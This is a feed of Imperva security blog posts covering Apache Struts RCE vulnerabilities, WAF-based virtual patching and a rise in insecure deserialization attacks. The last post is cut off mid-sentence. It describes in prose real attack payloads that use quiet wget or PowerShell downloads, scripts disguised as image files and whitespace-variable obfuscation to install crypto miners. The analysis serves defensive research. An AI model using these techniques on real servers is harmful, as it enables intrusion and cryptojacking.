decreasing the cost of emergency fix cycles until you\u2019re able to patch them.\n\nIn addition to virtual patching, zero-day detection mechanisms such as those mentioned above protect sites by detecting and blocking new strains of attack prior to its release without any modification to systems.\n\nLearn more about protecting web applications from vulnerabilities using [Imperva Incapsula WAF](<https://www.incapsula.com/website-security/web-application-firewall.html>) or [Imperva SecureSphere WAF](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>).\n\n[1] <https://cwiki.apache.org/confluence/display/WW/S2-048>\n\n[2] <https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-07-13T19:12:31", "title": "CVE-2017-9791: Analysis of RCE in the Struts Showcase App in Struts 1 Plugin", "type": "impervablog", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9791", "CVE-2017-5638"], "modified": "2017-07-13T19:12:31", "href": "https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/", "id": "IMPERVABLOG:DA39045C8E700086C560AAFFDBA589A6", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-12-25T19:52:24", "description": "I recently took a step back to review all the content we shared in 2017 on the Imperva blog. We covered a broad range of topics including data security, cloud migration, application and API security, AI and machine learning, cybersecurity research, GDPR, insider threats and more. We were busy! Cybersecurity certainly held the world's attention in 2017.\n\nSeveral stories rose to the top as either most read by you, particularly relevant to today's cybersecurity industry or exceptionally newsworthy (and in some cases, all of the above). For an end-of-year reading shortlist, I've compiled our top 10 blog posts from 2017.\n\n## 1\\. What\u2019s Next for Ransomware: Data Corruption, Exfiltration and Disruption\n\nThe WannaCry ransomware attack caught everyone off guard, infecting more than 230,000 computers in 150 countries by encrypting data on networked machines and demanding payments in Bitcoin. We wrote about how to [protect against it](<https://www.imperva.com/blog/2017/05/protect-against-wannacry-with-deception-based-ransomware-detection/>), but our post on [what's next for ransomware](<https://www.imperva.com/blog/2017/05/whats-next-for-ransomware/>) garnered even more attention\u2014it was our most read post of the year.\n\n## 2\\. CVE-2017-5638: Remote Code Execution (RCE) Vulnerability in Apache Struts\n\nApache Struts made headlines all over the place in 2017. The [vulnerability we wrote about in March](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) hit it big and just kept on going. You might remember it reared its ugly head later in the year when it was tied to the Equifax breach. (We also wrote about two other Apache Struts vulnerabilities: [CVE-2017-9791](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>) and [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>).)\n\n## 3\\. Top Insider Threat Concern? Careless Users. [Survey]\n\nWe [surveyed 310 IT security professionals](<https://www.imperva.com/blog/2017/07/top-insider-threat-concern-careless-users-survey/>) at [Infosecurity Europe](<http://www.infosecurityeurope.com/>) in June on their thoughts on insider threats. The big reveal? More than half (59 percent) were concerned not primarily about malicious users, but about the careless ones who unwittingly put their organization\u2019s data at risk. (We shared more about insider threats in this [infographic](<https://www.imperva.com/blog/2017/05/thwart-insider-threats-with-machine-learning-infographic/>).)\n\n## 4\\. Uncover Sensitive Data with the Classifier Tool\n\nIn July we launched Classifier, a free data classification tool that allows organizations to quickly uncover sensitive data in their databases. The response was immediate\u2014over 500 [downloads ](<https://www.imperva.com/lg/lgw_trial.asp?pid=582>)and counting\u2014not surprising given it helps jump start the path to compliance with the GDPR. [Our blog post ](<https://www.imperva.com/blog/2017/07/uncover-sensitive-data-with-the-classifier-tool/>)walked through the steps of how to use the tool.\n\n## 5\\. Professional Services for GDPR Compliance\n\nSpeaking of the GDPR, the new data protection regulation coming out of the EU was on everyone's radar this year. We wrote a LOT about GDPR, including [who is subject to the regulation](<https://www.imperva.com/blog/2017/02/gdpr-series-part-1-gdpr-apply/>), [what rules require data protection technology](<https://www.imperva.com/blog/2017/03/gdpr-series-part-2-rules-require-data-protection-technology/?utm_source=socialmedia&utm_medium=organic_empshare&utm_campaign=2017_Q1_GDPRPart2>), and the [penalties for non-compliance.](<https://www.imperva.com/blog/2017/03/gdpr-series-part-4-penalties-non-compliance/>) However, our post on the [professional services we offer for GDPR compliance](<https://www.imperva.com/blog/2017/10/professional-services-for-gdpr-compliance/>) drove the most traffic on this topic by far.\n\n## 6\\. The Evolution of Cybercrime and What It Means for Data Security\n\nHackers tactics may change, but what they\u2019re after doesn\u2019t\u2014your data. Stealing or obstructing access to enterprise data is the foundation of the cybercrime value chain. We discussed how the [changing nature of cybercrime](<https://www.imperva.com/blog/2017/06/the-evolution-of-cybercrime-and-what-it-means-for-data-security/>) and app and data accessibility create risk and the essentials of application and data protection in this ever-changing world.\n\n## 7\\. Move Securely to the Cloud: WAF Requirements and Deployment Options\n\nMoving to the cloud has become an overwhelmingly popular trend even among those who were at first reluctant to make the move. In this post, we discussed [requirements and deployment options for evaluating a WAF for the cloud](<https://www.imperva.com/blog/2017/06/waf-requirements-and-deployment-options-for-the-cloud/>). (We also wrote about the [benefits of a hybrid WAF deployment ](<https://www.imperva.com/blog/2017/11/cloud-waf-versus-on-premises-waf/>)and the pros and cons of both cloud and on-prem WAFs.)\n\n## 8\\. Clustering and Dimensionality Reduction: Understanding the \u201cMagic\u201d Behind Machine Learning\n\nEverywhere you turned in 2017 you heard about AI and machine learning and the impact they're having, or will have, on essentially everything. Two of Imperva's top cybersecurity researchers explained in detail [some of the techniques used in machine learning](<https://www.imperva.com/blog/2017/07/clustering-and-dimensionality-reduction-understanding-the-magic-behind-machine-learning/>) and how they're applied to solve for identifying improper access to unstructured data. (Those two researchers were also awarded a patent for their machine learning work this year!)\n\n## 9\\. Can a License Solve Your Cloud Migration Problem?\n\nGartner published their [2017 Magic Quadrant for Web Application Firewalls ](<https://www.imperva.com/blog/2017/08/gartner-magic-quadrant-for-wafs-a-leader-four-consecutive-years/>)(WAF) in August and Imperva was once again named a WAF leader, making it four consecutive years. We stood out for offering security solutions for today's changing deployment and infrastructure model. [In this post](<https://www.imperva.com/blog/2017/11/license-solve-cloud-migration-problem/>) we wrote about our flexible licensing program, which lies at the core of the move to the cloud: helping customers secure apps wherever they need, whenever they need, for one price.\n\n## 10\\. The Uber Breach and the Case for Data Masking\n\nLast but not least, we couldn't ignore the Uber breach. Hard to believe in today's world that log in credentials were shared in a public, unsecured forum, but that's what happened. The breach did highlight an important issue, that of production data being used in development environments. It's a bad idea; [we explained why in this post](<https://www.imperva.com/blog/2017/11/uber-breach-case-data-masking/>). Had data masking been used at Uber, hackers would have been left with worthless data, or as we called it, digital fools gold.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-12-18T17:43:16", "type": "impervablog", "title": "Imperva\u2019s Top 10 Blogs of 2017", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805"], "modified": "2017-12-18T17:43:16", "id": "IMPERVABLOG:9AF395FCAE299375F787DBC7B797E713", "href": "https://www.imperva.com/blog/2017/12/impervas-top-10-blogs-of-2017/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-09-21T16:39:07", "description": "People used to argue about whether cyber security is a business problem or a technical problem. But this frames the issue poorly. \u201cProblem\u201d and \u201csolution\u201d imply that there is a definitive \u201csolve.\u201d\n\nCybercrime isn\u2019t a technical problem that can be definitively solved. It is an inherent business risk of having something of value. And risk can\u2019t be solved. Risk can only be managed.\n\nThe thing that differentiates cyber security from almost any other IT discipline (disaster recovery and business continuity in a post 9/11 world is another) is that with cyber security there is an adversary, and that adversary is motivated and incented to beat you. And if you have something of value to them, and if their reward outweighs their risk, they will continually evolve their tactics to get to it.\n\nBusiness-driven digital transformation is driving exponential growth in the number of knowledge workers, websites, mobile apps, APIs, file servers, databases, etc. Each of these enable our businesses to collect, generate and/or use data to competitive advantage.\n\nIn security parlance, this is known as \u201csurface area\u201d; that which is exposed to an attacker. Each is either an end target of the cybercriminal, or a vector a cybercriminal uses to get to data. The more our businesses digitize, the more surface area there will be. Most of this surface area (the big exception is people themselves) is manifested as technology.\n\n## What\u2019s this got to do with Apache Struts?\n\n[Apache Struts](<http://struts.apache.org/>) \u2013 and you\u2019d have to work hard to find something that initially seems more disconnected from business risk as Apache Struts \u2013 illustrates this.\n\nApache Struts is a framework that extends the Java Servlet API for writing web/mobile/API-based applications. Digital transformation means more apps. More apps mean more use of frameworks like Struts. Which means more technical surface area exposed to attackers. This illustrates why \u201cjust reduce surface area\u201d alone isn\u2019t a strategy. Less surface area means less apps, which would mean less digital transformation itself. Given the perceived cost and revenue-side business benefits of digital transformation, this is not likely to happen.\n\nStruts, and other similar frameworks, basically enable developers to write Java apps faster. Struts has been around, in one form or another, since 2000. The current framework \u2013 [Apache Struts 2](<https://en.wikipedia.org/wiki/Apache_Struts_2>) \u2013 was initially released in 2007. Some estimate it is used by 65 percent of the Fortune 500.\n\nOur [research team](<https://www.imperva.com/DefenseCenter>) \u2013 which is the same team that releases our WAF signatures/virtual patches for known vulnerabilities \u2013 collected the following stats on Struts:\n\n * 75 published security vulnerabilities to date\n * 83% of the vulnerabilities can be accessed via a remote attacker (i.e., via network)\n * 75% of the vulnerabilities have working exploits\n * 35% of the vulnerabilities may allow remote code execution (RCE) attacks\n\n### What is RCE?\n\n[RCE](<https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>) is nasty. IMHO, nastier than the more famous/infamous application vulnerability [SQL injection](<https://www.imperva.com/app-security/threatglossary/sql-injection/>). RCE, or remote code execution, allows an attacker to replace the parameters normally submitted as part of an API call with malicious code. Crafted carefully, this malicious code will then execute on the server. What this malicious code does is up to the attacker. Given that web apps frequently access back-end data stores, the potential for a RCE vulnerability to be exploited to breach data is apparent.\n\nIn 2017, there have been four different Apache Struts RCE vulnerabilities:\n\n * CVE-2017-12611\n * [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>)\n * [CVE-2017-9791](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>)\n * [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>)\n\nA close look at these shows several strategies for both reactively and proactively protecting application surface area. These certainly apply to Apache Struts, but also to most application frameworks.\n\n## Ways to Protect Application Surface Area\n\n### Patch Servers\n\nThe long-term fix for a vulnerability is to patch the servers. However, rolling out a patch across thousands of servers running hundreds of different apps owned by tens of different app teams is a not a trivial task. It can take months. Which is why most servers aren\u2019t at current patch levels.\n\nThere is another bit of nastiness around patching as well. Sometimes patches aren\u2019t backwards compatible. [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) contains this: _\u201cIt is possible that some REST actions stop working because of applied default restrictions on available classes.\u201d _In layman\u2019s terms, this means applying the patch can break an existing app. This gets to the heart of why security is risk management: deciding to apply a patch prior to testing a patch with all apps runs the risk of breaking the apps (a.k.a., \u201cpotentially bringing down a website\u201d).\n\n### Virtual Patching\n\nA virtual patch uses a gateway (WAF, IDS, network firewall) that monitors traffic to identify and block an attack before it reaches a web server. _Note, not all types of security gateways can apply a virtual patch to all types of vulnerabilities. _\n\nFor Struts CVE-2017-9805, Imperva used the [ThreatRadar](<https://www.imperva.com/Products/ThreatRadarSubscriptions>) Emergency Feed to distribute a signature and a corresponding virtual patch to SecureSphere Web Application Firewall users within 48 hours of the CVE\u2019s disclosure. Emergency Feed is an opt-in service that leverages the communication channel between SecureSphere and the Imperva cloud to automatically distribute signatures and associated policies to mitigate highly critical vulnerabilities. This in effect automatically deploys a virtual patch for the vulnerability. A policy accomplishing the same thing was uploaded to Incapsula in the same timeframe, accomplishing the same thing for any Incapsula WAF customers.\n\nVirtual patches for known CVEs are useful, but they are reactive. They are predicated upon knowing about a vulnerability in the first place. There is no (despite what some may say) general signature that spans all RCEs. The following are proactive defenses that can be used to protect against application vulnerabilities (RCE and otherwise).\n\n### Reputation-based Blocking\n\nThe vast majority of attacks launched against web app frameworks are automated. For example, for [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>), 40% of the attacks tracked by our research team originated from a single server in China. There is no reason for any traffic from any source like this to be reaching web servers. Imperva ThreatRadar IP Reputation can be set to fetch the latest IP Reputation feeds several times an hour. While this won\u2019t catch every instance of an attack, it is an excellent filter that will proactively block a large portion of the automated attacks that target web apps.\n\n### Anti-automation\n\nIP reputation isn\u2019t the only mechanism for stopping automated attacks. Both SecureSphere and Incapsula provide functionality for identifying and blocking bots, regardless of the bot\u2019s intent. Both use the same underlying technology to progressively profile a request to determine if the request is a human or a bot, and if a bot a good bot or a bad bot. Identifying and blocking requests from bad bots is another technique for scrubbing automated attacks targeting web apps.\n\n### Web Application Firewall Zero Day Protections\n\nReputation and anti-automation are extremely effective at filtering automated attacks from bad actors, but a careful attacker will be able to mask itself, especially when focusing upon a specific app or enterprise.\n\nHowever, to exploit an RCE vulnerability in every case the attacker needs to send the malicious code \u2013 the \u201cpayload\u201d \u2013 to the app in question. This payload will look wildly different from the typical content (e.g., an API call) submitted to an app. By learning what payloads are normally submitted via various form submissions and API calls, a solid WAF can prevent something like CVE-2017-9805 without knowing the vulnerability exists, and without ever seeing the payload before. The SecureSphere WAF uses machine learning to understand how an application normally behaves, and then uses it to identify and block anomalous requests.\n\nImperva zero day protections identified Apache Struts exploits almost immediately via a few different mechanisms:\n\n * Upon learning of a vulnerability, attackers will frequently \u201cspray and pray\u201d an attack against numerous apps, and various forms/APIs within an app. Given automation, its more cost effective for them to just broadly launch an attack than it is first determine if an app/API is even vulnerable. We saw this for CVE-2017-9805 almost immediately, identifying it a \u201cunknown content type for known URL\u201d. In English, this translates to \u201cnot only is this not normal, it isn\u2019t even content that this URL can process.\u201d These kinds of alerts are an early \u201ctell\u201d that something is afoot, and our research team uses them as both an early indicator, as well as to inform our ThreatRadar threat intelligence feeds.\n * If the app is susceptible to the vulnerability, a malicious payload will still not conform to normal application traffic. In the case of CVE-2017-9805, SecureSphere will identify an \u201cunknown parameter\u201d or \u201cparameter type violation.\u201d\n * In most cases, the payload is much larger/longer than a normal request. In these cases, a \u201cparameter length violation\u201d will surface.\n\n## The Role of App Security Domain Expertise\n\nWhat only someone who lives and breathes this stuff on a day-in/day-out basis knows is that any one of these violations by themselves isn\u2019t necessarily an attack. Policies built on evaluating any of this in isolation can result in a high rate of false positives. False positives are the bane of IT security\u2019s existence, _because when looking at a screen full of alerts, you don\u2019t know which ones are false and which aren\u2019t. _The net effect is ignoring them all.\n\nSecureSphere WAF has [patented capabilities](<https://www.imperva.com/Products/AdvancedTechnologies>) that evaluate the relationships between multiple violations. This ability to analyze seemingly independent violations coming from different layers of the app stack (e.g., network protocol, parameter length, IP reputation, etc.) together greatly enhances accuracy. This not only minimizes false positives, but more importantly provides the confidence to actually _block_ requests.\n\n## Manage Business Risk, Protect Against App Exploits\n\nAccording to the [2017 Verizon Data Breach Investigation Report](<http://www.verizonenterprise.com/verizon-insights-lab/dbir/2017/>) more successful breaches resulted from attacks on web apps than any other type of attack. This is telling since web app attacks are only number four in terms of incident frequency.\n\nAttackers realize that web app frameworks like Struts (and all frameworks have security issues) are particularly attractive targets. Since they are used for public facing web apps, they can\u2019t be hidden behind layers of network security. Their role is to accept inputs (web form parameters, API calls, etc.) and then process these inputs, which directly maps to particularly dangerous exploits like SQL injection and RCE. Since frameworks are widely adopted, attackers automate their attacks so they can cost effectively leverage their effort across thousands of websites.\n\nBusiness will roll out more application functionality. The cost savings and revenue generating opportunities from digital transformation pretty much guarantee we\u2019ll have more app surface area next year than this year. Learn more about how to use these capabilities to protect this ever growing surface area with Imperva SecureSphere [Web Application Firewall (WAF)](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>) and [Imperva Incapsula WAF](<https://www.incapsula.com/website-security/web-application-firewall.html>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-09-18T20:33:25", "title": "Apache Struts, RCE and Managing App Risk", "type": "impervablog", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12611", "CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805"], "modified": "2017-09-18T20:33:25", "href": "https://www.imperva.com/blog/2017/09/apache-struts-rce-and-managing-app-risk/", "id": "IMPERVABLOG:C40BB28F51D206C8BB23721D1ECED353", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-25T09:59:26", "description": "Imperva\u2019s research group is constantly monitoring new web application vulnerabilities. In doing so, we\u2019ve noticed at least four major insecure deserialization vulnerabilities that were published in the past year.\n\nOur analysis shows that, in the past three months, the number of deserialization attacks has grown by 300 percent on average, turning them into a serious security risk to web applications.\n\nTo make things worse, many of these attacks are now launched with the intent of installing crypto-mining malware on vulnerable web servers, which gridlocks their CPU usage.\n\nIn this blog post we will explain what insecure deserialization vulnerabilities are, show the growing trend of attacks exploiting these vulnerabilities and explain what attackers do to exploit them (including real-life attack examples).\n\n## What Is Serialization?\n\nThe process of serialization converts a \u201clive\u201d object (structure and/or state), like a Java object, into a format that can be sent over the network, or stored in memory or on disk. Deserialization converts the format back into a \u201clive\u201d object.\n\nThe purpose of serialization is to preserve an object, meaning that the object will exist outside the lifetime of the local machine on which it is created.\n\nFor example, when withdrawing money from an ATM, the information of the account holder and the required operation is stored in a local object. Before this object is sent to the main server, it is serialized in order to perform and approve the needed operations. The server then deserializes the object to complete the operation.\n\n## Types of Serialization\n\nThere are many types of [serialization](<https://en.wikipedia.org/wiki/Serialization#Serialization_formats>) available, depending on the object which is being serialized and on the purpose. Almost all modern programming languages support serialization. In Java for example an object is converted into a compact representation using byte stream, and the byte stream can then be reverted back into a copy of that object.\n\nOther types of serialization include converting an object into a hierarchical format like JSON or XML. The advantage of this serialization is that the serialized objects can be read as plain text, instead of a byte stream.\n\n## Deserialization Vulnerabilities from the Past Three Months\n\nIn the [OWASP top 10 security risks of 2017](<https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf>) insecure deserialization came in at [eighth place](<https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization>) and rightfully so as we argued in our [previous blog](<https://www.imperva.com/blog/2017/12/the-state-of-web-application-vulnerabilities-in-2017/>) about the state of web application vulnerabilities in 2017.\n\nIn 2017, major new vulnerabilities related to insecure serialization, mostly in Java, were published (see Figure 1).\n\n**Name** | **Release Date (Day/Month/Year)** | **Vulnerability details** \n---|---|--- \nCVE-2017-12149 | 01/08/2017 | Vulnerability in the JBoss Application Server allows execution of arbitrary code via crafted serialized data because the HTTP Invoker does not restrict classes for which it performs deserialization \nCVE-2017-10271 | 21/06/2017 | Vulnerability in the Oracle WebLogic Server allows execution of arbitrary code due to insufficient sanitizing of user supplied inputs in the wls-wsat component \nCVE-2017-9805\n\n | 21/06/2017 | The REST Plugin in Apache Struts uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to remote code execution when deserializing XML payloads. \nCVE-2017-7504 | 05/04/2017 | The HTTPServerILServlet.java in JMS allows remote attackers to execute arbitrary code via crafted serialized data because it does not restrict the classes for which it performs deserialization \n \n_Figure 1: CVEs related to insecure deserialization_\n\nIn order to understand the magnitude of these vulnerabilities, we analyzed attacks from the past three months (October to December of 2017) that try to exploit insecure deserialization. A key observation is the _steep_ increase of deserialization attacks in the past few months, as can be seen in the Figure 2.\n\n \n_Figure 2: Insecure deserialization attacks over the course of three months_\n\nMost of the attackers used no attack vectors other than insecure deserialization. We noticed that each attacker was trying to exploit different vulnerabilities, with the above-mentioned CVEs being the most prevalent.\n\nFor a full list of CVEs related to insecure deserialization from the past few years see Figure 3.\n\n**Name** | **Relevant System** | **Public Exploit** | **Name** | **Relevant System** | **Public Exploit** \n---|---|---|---|---|--- \nCVE-2017-9844 | SAP NetWeaver | Yes | CVE-2016-2170 | Apache OFBiz | No \nCVE-2017-9830 | Code42 CrashPlan | No | CVE-2016-2003 | HP P9000, XP7 Command View Advanced Edition (CVAE) Suite | No \nCVE-2017-9805 | Apache Struts | Yes | CVE-2016-2000 | HP Asset Manager | No \nCVE-2017-7504 | Red Hat JBoss | Yes | CVE-2016-1999 | HP Release Control | No \nCVE-2017-5878 | Apache OpenMeetings | Yes | CVE-2016-1998 | HP Service Manager | No \nCVE-2017-5645 | Apache Log4j | No | CVE-2016-1997 | HP Operations Orchestration | No \nCVE-2017-5641 | Apache BlazeDS | Yes | CVE-2016-1986 | HP Continuous Delivery Automation | No \nCVE-2017-5586 | OpenText Documentum D2 | Yes | CVE-2016-1985 | HP Operations Manager | No \nCVE-2017-3159 | Apache Camel | Yes | CVE-2016-1487 | Lexmark Markvision Enterprise | No \nCVE-2017-3066 | Adobe ColdFusion | Yes | CVE-2016-1291 | Cisco Prime Infrastructure | Yes \nCVE-2017-2608 | Jenkins | Yes | CVE-2016-0958 | Adobe Experience Manager | No \nCVE-2017-12149 | Red Hat JBoss | Yes | CVE-2016-0788 | Jenkins | Yes \nCVE-2017-11284 | Adobe ColdFusion | No | CVE-2016-0779 | Apache TomEE | No \nCVE-2017-11283 | Adobe ColdFusion | No | CVE-2016-0714 | Apache Tomcat | No \nCVE-2017-1000353 | CloudBees Jenkins | Yes | CVE-2015-8765 | McAfee ePolicy Orchestrator | No \nCVE-2016-9606 | Resteasy | Yes | CVE-2015-8581 | Apache TomEE | No \nCVE-2016-9299 | Jenkins | Yes | CVE-2015-8545 | NetApp | No \nCVE-2016-8749 | Jackson (JSON) | Yes | CVE-2015-8360 | Atlassian Bamboo | No \nCVE-2016-8744 | Apache Brooklyn | Yes | CVE-2015-8238 | Unify OpenScape | No \nCVE-2016-8735 | Apache Tomcat JMX | Yes | CVE-2015-8237 | Unify OpenScape | No \nCVE-2016-7462 | VMWare vRealize Operations | No | CVE-2015-8103 | Jenkins | Yes \nCVE-2016-6809 | Apache Tika | No | CVE-2015-7501 | Red Hat JBoss | Yes \nCVE-2016-5229 | Atlassian Bamboo | Yes | CVE-2015-7501 | Oracle Application Testing Suite | No \nCVE-2016-5004 | Apache Archiva | Yes | CVE-2015-7450 | IBM Websphere | Yes \nCVE-2016-4385 | HP Network Automation | No | CVE-2015-7253 | Commvault Edge Server | Yes \nCVE-2016-4372 | HP iMC | No | CVE-2015-6934 | VMWare vCenter/vRealize | No \nCVE-2016-3642 | Solarwinds Virtualization Manager | Yes | CVE-2015-6576 | Atlassian Bamboo | No \nCVE-2016-3461 | Oracle MySQL Enterprise Monitor | Yes | CVE-2015-6555 | Symantec Endpoint Protection Manager | Yes \nCVE-2016-3427 | JMX | Yes | CVE-2015-6420 | Cisco (various frameworks) | No \nCVE-2016-3415 | Zimbra Collaboration | No | CVE-2015-5348 | Apache Camel | No \nCVE-2016-2510 | Red Hat JBoss BPM Suite | No | CVE-2015-5254 | Apache ActiveMQ | No \nCVE-2016-2173 | Spring AMPQ | No | CVE-2015-4852 | Oracle WebLogic | Yes \nCVE-2016-2170 | Apache OFBiz | No | CVE-2015-3253 | Jenkins | Yes \nCVE-2016-2003 | HP P9000, XP7 Command View Advanced Edition (CVAE) Suite | No | CVE-2012-4858 | IBM Congnos BI | No \n \n_Figure 3: CVEs related to insecure deserialization_\n\n## Deserialization Attacks in the Wild\n\nMost of the attacks that we saw are related to byte-stream serialization of Java objects. Also, we saw some attacks related to serialization to XML and other formats, see Figure 4.\n\n \n_Figure 4: Distribution of vulnerabilities over different serialization formats_\n\nIn the following attack (see Figure 5) the attacker is trying to exploit CVE-2017-10271. The payload is sent in the HTTP request\u2019s body using a serialized Java object through XML representation.\n\n[![Attack vector containing serialized java array into XML fig 5](https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-containing-serialized-java-array-into-XML-fig-5.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-containing-serialized-java-array-into-XML-fig-5.png>)\n\n_Figure 5: Attack vector containing a serialized java array into an XML_\n\nThe fact that this is a Java array can be seen by the hierarchical structure of the parameters, with the suffix of **\u201cjava/void/array/void/string\u201d**. The attacker is trying to run a bash script on the attacked server.\n\nThis bash script tries to send an HTTP request using \u201cwget\u201d OS command, download a shell script disguised as a picture file (note the jpg file extension) and run it. Few interesting notes can be made examining this command:\n\n * The existence of shell and \u201cwget\u201d commands indicate that this payload is targeting Linux systems\n * Using a picture file extension is usually done to evade security controls\n * The **\u201c-q\u201d** parameter to \u201cwget\u201d stands for \u201cquiet\u201d, this means that \u201cwget\u201d will have no output to the console, hence it will be harder to note that such a request was even made. Once the downloaded script runs the server is infected with a crypto mining malware trying to mine Monero digital coins (a crypto currency similar to Bitcoin).\n\nThe next script (see Figure 6) tries to exploit the same vulnerability, but this time the payload is targeting Windows servers using cmd.exe and Powershell commands to download the malware and run it.\n\n[![Attack vector infect Windows server with crypto mining malware fig 6](https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-infect-Windows-server-with-crypto-mining-malware-fig-6.png)](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-infect-Windows-server-with-crypto-mining-malware-fig-6.png>)\n\n_Figure 6: Attack vector trying to infect Windows server with crypto mining malware_\n\nThis indicates that there are two different infection methods for Windows and Linux server, each system with its designated script.\n\nAnother example is the following payload (Figure 7) that we pulled from an attack trying to exploit a [deserialization vulnerability](<http://seclists.org/oss-sec/2016/q1/461>) with a Java serialized object.\n\n[![Attack vector containing java serialized object](https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-containing-java-serialized-object.jpg)](<https://www.imperva.com/blog/wp-content/uploads/2018/01/Attack-vector-containing-java-serialized-object.jpg>)\n\n_Figure 7: Attack vector containing a Java serialized object trying to download a crypto miner_\n\nThe \u201cbad\u201d encoding is an artifact of Java serialization, where the object is represented in the byte stream.\n\nStill, we can see a script in plain text marked in yellow. Shown as an image below is a variable that defines an internal field separator, where in this case it is just a variable for space. The variable is probably used instead of a space to try to make the payload harder to detect.\n\n[![](https://www.imperva.com/blog/wp-content/uploads/2018/01/insert-into-paragraph.jpg)](<https://www.imperva.com/blog/wp-content/uploads/2018/01/insert-into-paragraph.jpg>)\n\nJust as in the previous examples, this Bash script targets Linux servers that send an HTTP request using \u201cwget\u201d to download a crypto miner.\n\n## Beyond Insecure Deserialization\n\nThe common denominator of the attacks above is that attackers are trying to infect the server with a crypto mining malware by using an insecure deserialization vulnerability. However insecure deserialization is not the only method to achieve this goal.\n\nBelow (Figure 8) we see an example of another attack 